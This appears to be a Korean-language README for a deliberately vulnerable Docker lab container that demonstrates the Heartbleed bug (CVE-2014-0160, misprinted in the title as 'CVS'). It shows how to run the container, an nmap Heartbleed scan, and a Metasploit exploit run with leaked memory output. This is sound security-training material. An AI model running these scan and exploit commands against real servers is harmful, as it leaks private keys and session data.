hmlio/vaas-cve-2014-0160서비스로서의 취약점: CVS-2014-0160, 일명 Heartbleed 소개
취약한 버전의 libssl 및 openssl과 웹 서버가 포함된 Debian (Wheezy) Linux 시스템으로, CVS-2014-0160, 일명 Heartbleed를 시연합니다.
이 Docker 컨테이너는 Debian Jessie를 기반으로 하며, 취약한 버전의 libssl 및 openssl을 사용하도록 수정되었습니다.
Apache 2를 통해 간단한 정적 웹 페이지가 제공됩니다.
다음 명령으로 컨테이너를 설치합니다: docker pull hmlio/vaas-cve-2014-0160
포트 매핑과 함께 컨테이너를 실행합니다: docker run -d -p 8443:443 hmlio/vaas-cve-2014-0160
http://your-ip:8443/에서 웹 애플리케이션에 접속할 수 있습니다.
아래와 같이 웹 서버/취약한 openssl/libssl 버전을 확인하고 익스플로잇할 수 있습니다 (Kali 머신 사용을 권장합니다):
root@kali:~/vaas-cve-2014-0160# nmap -sV -p 8443 --script=ssl-heartbleed your-ip
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-26 17:31 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000068s latency).
Other addresses for localhost (not scanned): ::1
PORT STATE SERVICE VERSION
8443/tcp open ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.10 (Debian)
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://cvedetails.com/cve/2014-0160/
|_ http://www.openssl.org/news/secadv_20140407.txt
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.61 seconds
Using msfcli from the Metasploit framework:
root@kali:/tmp# msfcli auxiliary/scanner/ssl/openssl_heartbleed RHOSTS=your-ip RPORT=8443 VERBOSE=true E
...
...
[*] 192.168.179.230:8443 - Sending Heartbeat...
[*] 192.168.179.230:8443 - Heartbeat response, 65535 bytes
[+] 192.168.179.230:8443 - Heartbeat response with leak
[*] 192.168.179.230:8443 - Printable info leaked: U`tcz~8}"V2|vf3<tf"!98532ED/A/39.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip